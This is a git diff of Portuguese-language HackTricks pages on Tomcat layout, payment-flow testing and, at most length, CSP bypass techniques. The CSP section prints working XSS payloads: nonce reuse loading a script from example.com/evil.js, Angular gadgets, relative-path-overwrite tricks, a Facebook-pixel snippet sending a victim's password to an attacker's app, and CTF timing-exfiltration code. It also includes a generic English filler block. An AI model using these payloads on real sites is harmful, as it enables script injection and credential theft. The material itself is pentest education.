* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
### Evite executar com root
|
||||
|
||||
Para não executar o Tomcat com root, uma configuração muito comum é configurar um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma expressão regular, a solicitação é enviada para o Tomcat em execução em uma porta diferente.
|
||||
Para não executar o Tomcat com root, uma configuração muito comum é definir um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma expressão regular, a solicitação é enviada para o Tomcat em execução em uma porta diferente.
|
||||
|
||||
### Estrutura Padrão
|
||||
```
|
||||
|
@ -52,7 +52,7 @@ Para não executar o Tomcat com root, uma configuração muito comum é configur
|
|||
* A pasta `bin` armazena scripts e binários necessários para iniciar e executar um servidor Tomcat.
|
||||
* A pasta `conf` armazena vários arquivos de configuração usados pelo Tomcat.
|
||||
* O arquivo `tomcat-users.xml` armazena credenciais de usuário e suas funções atribuídas.
|
||||
* A pasta `lib` contém vários arquivos JAR necessários para o funcionamento correto do Tomcat.
|
||||
* A pasta `lib` contém vários arquivos JAR necessários para o correto funcionamento do Tomcat.
|
||||
* As pastas `logs` e `temp` armazenam arquivos de log temporários.
|
||||
* A pasta `webapps` é a raiz padrão do Tomcat e hospeda todas as aplicações. A pasta `work` atua como um cache e é usada para armazenar dados durante a execução.
|
||||
|
||||
|
@ -76,7 +76,7 @@ webapps/customapp
|
|||
O arquivo mais importante entre esses é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\
|
||||
Todas as classes compiladas usadas pela aplicação devem ser armazenadas na pasta `WEB-INF/classes`. Essas classes podem conter lógica de negócios importante, bem como informações sensíveis. Qualquer vulnerabilidade nesses arquivos pode levar à comprometimento total do site. A pasta `lib` armazena as bibliotecas necessárias para aquela aplicação específica. A pasta `jsp` armazena [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conhecido como `JavaServer Pages`, que pode ser comparado aos arquivos PHP em um servidor Apache.
|
||||
|
||||
Aqui está um exemplo de arquivo **web.xml**.
|
||||
Aqui está um exemplo do arquivo **web.xml**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
|
||||
|
@ -94,7 +94,7 @@ Aqui está um exemplo de arquivo **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
A configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria:
|
||||
O arquivo de configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
|
@ -102,7 +102,7 @@ Em seguida, é criado um novo mapeamento de servlet para **mapear solicitações
|
|||
|
||||
### tomcat-users
|
||||
|
||||
O arquivo **`tomcat-users.xml`** é usado para **permitir** ou proibir o acesso às páginas de administração **`/manager` e `host-manager`**.
|
||||
O arquivo **`tomcat-users.xml`** é usado para **permitir** ou negar acesso às páginas de administração **`/manager` e `host-manager`**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -143,7 +143,7 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornece acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin`
|
||||
O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornecem acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin`
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -151,7 +151,7 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`,
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -32,7 +32,7 @@ Durante o processo de transação, é crucial monitorar os dados trocados entre
|
|||
- **Callback**: Geralmente é usado para redirecionar o usuário após a conclusão de uma transação.
|
||||
|
||||
### Análise de URL
|
||||
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, é necessário examiná-lo mais de perto. Aqui está uma abordagem passo a passo:
|
||||
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo:
|
||||
|
||||
1. **Copie a URL**: Extraia a URL do valor do parâmetro.
|
||||
2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Essa ação é crucial para entender o resultado da transação.
|
||||
|
@ -54,7 +54,7 @@ Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguind
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
|
@ -19,7 +19,7 @@ Outras formas de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
@ -31,7 +31,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
## O que é CSP
|
||||
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
||||
|
||||
|
@ -79,7 +79,7 @@ object-src 'none';
|
|||
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
|
||||
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
|
||||
* **form-action**: Lista os pontos finais válidos para envios de formulários.
|
||||
* **plugin-types**: Restringe os tipos MIME que uma página pode invocar.
|
||||
* **plugin-types**: Restringe os tipos de mime que uma página pode invocar.
|
||||
* **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
|
||||
* **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
|
||||
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
|
||||
|
@ -97,7 +97,7 @@ object-src 'none';
|
|||
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
||||
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
|
||||
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
|
||||
* Se você tiver a execução de JS limitada, é possível obter um nonce usado na página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
|
||||
* Se a execução de JS estiver limitada, é possível obter um nonce usado na página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -113,11 +113,11 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Lista branca scripts com um hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'host'`: Especifica um host específico, como `example.com`.
|
||||
* `https:`: Restringe URLs para aquelas que usam HTTPS.
|
||||
* `blob:`: Permite que recursos sejam carregados a partir de URLs Blob (por exemplo, URLs Blob criados via JavaScript).
|
||||
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
|
||||
* `filesystem:`: Permite que recursos sejam carregados a partir do sistema de arquivos.
|
||||
* `'report-sample'`: Inclui uma amostra do código violador no relatório de violação (útil para depuração).
|
||||
* `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
|
||||
|
@ -183,11 +183,15 @@ Payload de trabalho:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **faça upload de um tipo específico de arquivo**.
|
||||
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem exceções. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente, pois alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF, aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o Conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Ação de formulário
|
||||
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperar que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
|
||||
|
||||
|
@ -246,17 +250,15 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
## Bypassing Content Security Policy (CSP) with Angular XSS from a class name:
|
||||
|
||||
## Bypassando a Política de Segurança de Conteúdo (CSP) com XSS do Angular a partir de um nome de classe:
|
||||
Angular XSS a partir de um nome de classe:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Abusando do código JS do google recaptcha
|
||||
#### Abusando do código JS do Google reCAPTCHA
|
||||
|
||||
De acordo com [**este CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -282,6 +284,16 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
#### Abusando do www.google.com para redirecionamento aberto
|
||||
|
||||
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Explorando \*.google.com/script.google.com
|
||||
|
||||
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Pontos de Terceiros + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
|
@ -302,7 +314,7 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirec
|
|||
|
||||
### Abusos de Terceiros
|
||||
|
||||
Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||
|
||||
| Entidade | Domínio Permitido | Capacidades |
|
||||
| ------------------ | -------------------------------------------- | ----------- |
|
||||
|
@ -325,22 +337,25 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
## Introduction
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
|
||||
In this section, we will discuss various techniques that can be used to bypass CSP protections and execute malicious code on a target web application.
|
||||
## Bypass Techniques
|
||||
|
||||
## Table of Contents
|
||||
### 1. Inline Script Execution
|
||||
|
||||
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
|
||||
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
|
||||
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
|
||||
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
|
||||
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
|
||||
- [Bypassing CSP with Hashes](bypassing-csp-hashes.md)
|
||||
One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of the web page, bypassing CSP restrictions.
|
||||
|
||||
### 2. Data: URL
|
||||
|
||||
Another technique involves using data: URLs to embed scripts directly into HTML attributes. This allows an attacker to execute scripts without triggering CSP violations, as the scripts are treated as data rather than external resources.
|
||||
|
||||
### 3. Unsafe Inline and Eval
|
||||
|
||||
Some CSP policies allow 'unsafe-inline' and 'unsafe-eval' directives, which can be exploited by attackers to execute inline scripts and evaluate arbitrary code, respectively. By leveraging these directives, an attacker can bypass CSP protections.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Understanding how CSP works and the potential bypass techniques is crucial for web application security professionals. By staying informed about the latest CSP bypass methods, security researchers and developers can better protect their applications from malicious attacks.
|
||||
While Content Security Policy is a powerful security mechanism for protecting web applications against various types of attacks, it is important for developers to be aware of potential bypass techniques. By understanding how CSP can be circumvented, developers can implement more robust security measures to safeguard their web applications against malicious actors.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
@ -348,7 +363,7 @@ Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [
|
|||
|
||||
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
||||
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||
3. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
|
||||
3. Vá para "Configurações -> Básico" e obtenha o seu "ID do Aplicativo".
|
||||
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
|
||||
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
|
||||
|
@ -360,11 +375,11 @@ fbq('trackCustom', 'My-Custom-Event',{
|
|||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
|
||||
Além dos redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||
|
||||
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
@ -372,13 +387,13 @@ O navegador acabará por carregar `https://example.com/scripts/angular/angular.j
|
|||
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.
|
||||
|
||||
Assim, eles irão decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
Assim, ele irá decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
||||
|
||||
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
|
||||
|
||||
Exemplo Online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Exemplo Online: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Execução de JS em Iframes
|
||||
|
||||
|
@ -412,7 +427,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
Uma política CSP que lista permissões de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Cargas de trabalho funcionais:
|
||||
```html
|
||||
|
@ -454,7 +469,7 @@ Com esse redirecionamento, mesmo que o caminho seja especificado completamente,
|
|||
|
||||
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
|
||||
|
||||
### Contornar CSP com marcação pendente
|
||||
### Bypass CSP com marcação pendente
|
||||
|
||||
Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.
|
||||
|
||||
|
@ -470,7 +485,7 @@ Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste ca
|
|||
```
|
||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Você também pode abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Com Service Workers
|
||||
|
||||
|
@ -502,9 +517,9 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||
|
||||
Observe a falta da diretiva `'unsafe-inline'`\
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
|
||||
|
||||
Desta vez, uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
|
||||
Desta vez uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de espera. Em seguida, você poderá extrair a bandeira:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -566,13 +581,13 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
Este ataque implicaria algum engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass restringindo o CSP
|
||||
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
|
||||
|
@ -582,8 +597,8 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
